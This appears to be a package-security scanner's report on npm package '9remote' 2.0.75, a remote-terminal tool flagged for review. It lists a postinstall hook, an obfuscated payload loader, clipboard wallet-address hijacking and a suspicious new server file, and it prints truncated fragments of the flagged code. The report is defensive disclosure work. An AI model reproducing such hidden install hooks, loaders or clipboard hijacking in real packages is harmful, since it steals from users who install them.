registry / 9remote / 2.0.75

9remote@2.0.75

⚠ Under review

Remote terminal access from anywhere

Static Scan Results

scanned 1mo ago · by rust-scanner

Static analysis flagged 18 finding(s) at 93.0% confidence. This version is warn-only unless an AI or security-team review confirms malicious behavior.

Static reason

High-risk behavior combination matched malicious policy.; previous stored version diff introduced dangerous source

Decision evidence

public snapshot

Behavioral surface

Source

ChildProcessCryptoDynamicRequireEnvironmentVarsFilesystemNativeBindingsNetwork

Supply chain

HighEntropyStringsMinifiedObfuscatedUrlStrings

ManifestNo manifest risk signals triggered.

scanned 5 file(s), 1.97 MB of source, external domains: 127.0.0.1, android.googleapis.com, docs.9remote.cc, exp.host, fcm.googleapis.com, feross.org, github.com, mths.be, registry.npmjs.org, socket.io, www.apple.com, www.w3.org

Source & flagged code

9 flagged

package.jsonView file

Lines 1-39json

2 "name": "9remote",

3 "version": "2.0.75",

4 "type": "module",

5 "description": "Remote terminal access from anywhere",

6 "main": "dist/server.cjs",

7 "bin": {

8 "9remote": "./dist/cli.cjs"

9 },

10 "scripts": {

11 "start": "node cli/index.js",

12 "ui": "node cli/index.js ui",

13 "dev": "NODE_ENV=development nodemon cli/index.js",

14 "dev:ui": "npm-run-all --parallel dev:ui:run dev:vite:wait",

15 "dev:vite": "vite",

16 "dev:vite:wait": "wait-on http://localhost:2208/api/health && vite",

17 "dev:ui:run": "NODE_ENV=development node cli/index.js ui",

18 "build:ui": "vite build",

19 "postinstall": "node dist/install.cjs || true"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L19

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L19

20 },

21 "files": [

22 "dist/"

23 ],

24 "keywords": [

25 "remote",

26 "terminal",

27 "ssh",

28 "cli"

29 ],

30 "license": "MIT",

31 "dependencies": {

32 "@julusian/jpeg-turbo": "^3.0.1",

33 "@xterm/addon-fit": "^0.11.0",

34 "@xterm/addon-unicode11": "^0.9.0",

35 "@xterm/xterm": "^6.0.0",

36 "bufferutil": "^4.1.0",

37 "chalk": "^5.4.1",

38 "chokidar": "^3.6.0",

39 "edge-tts-node": "^1.5.7",

dist/ptyDaemon.cjsView file

Lines 1-10javascript

1#!/usr/bin/env node

2const __importMetaUrl = require('url').pathToFileURL(__filename).href;

3var T=Object.create;var L=Object.defineProperty;var z=

dist/ui/assets/index-xgo_TKA1.jsView file

35const fetchOpts = getFetchOpts(link); L36: fetch(link.href, fetchOpts); L37: } ... L183: var _0x3cbafb = "", _0x5d0c0c = ""; L184: for (var _0x4def26 = 0, _0x47393c, _0x3c3b59, _0x4b8f3d = 0; _0x3c3b59 = _0x9f4927["charAt"](_0x4b8f3d++); ~_0x3c3b59 && (_0x47393c = _0x4def26 % 4 ? _0x47393c * 64 + _0x3c3b59 : _... L185: _0x3c3b59 = _0x849be1["indexOf"](_0x3c3b59); ... L4209: const copy = (text, which) => { L4210: navigator.clipboard.writeText(text).catch(() => { L4211: }); ... L4762: function Cn(s16, t2, e2, i2) { L4763: s16 = Al(s16), s16 = kl(s16, e2.decPrivateModes.bracketedPasteMode && i2.rawOptions.ignoreBracketedPasteMode !== true), e2.triggerDataEvent(s16, true), t2.value = ""; L4764: }

Critical

Clipboard Crypto Hijack

Source reads and rewrites clipboard contents matching cryptocurrency wallet addresses.

dist/ui/assets/index-xgo_TKA1.jsView on unpkg · L35

38})(); L39: var _0x550747 = _0x16b1; L40: (function(_0xf45394, _0x21d630) {

High

Obfuscated Payload Loader

Source contains an obfuscator-style string-array loader that reconstructs and executes hidden code.

dist/ui/assets/index-xgo_TKA1.jsView on unpkg · L38

dist/assets/tray.ps1View file

•path = dist/assets/tray.ps1 kind = build_helper sizeBytes = 3954 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

dist/assets/tray.ps1View on unpkg

dist/server.cjsView file

•matchType = previous_version_dangerous_delta matchedPackage = 9remote@2.0.70 matchedIdentity = npm:OXJlbW90ZQ:2.0.70 similarity = 0.400 summary = stored previous version shares package body but lacks this dangerous source file

Critical

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

dist/server.cjsView on unpkg

Source & flagged code

9 flagged · loading source

Static Scan Results

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code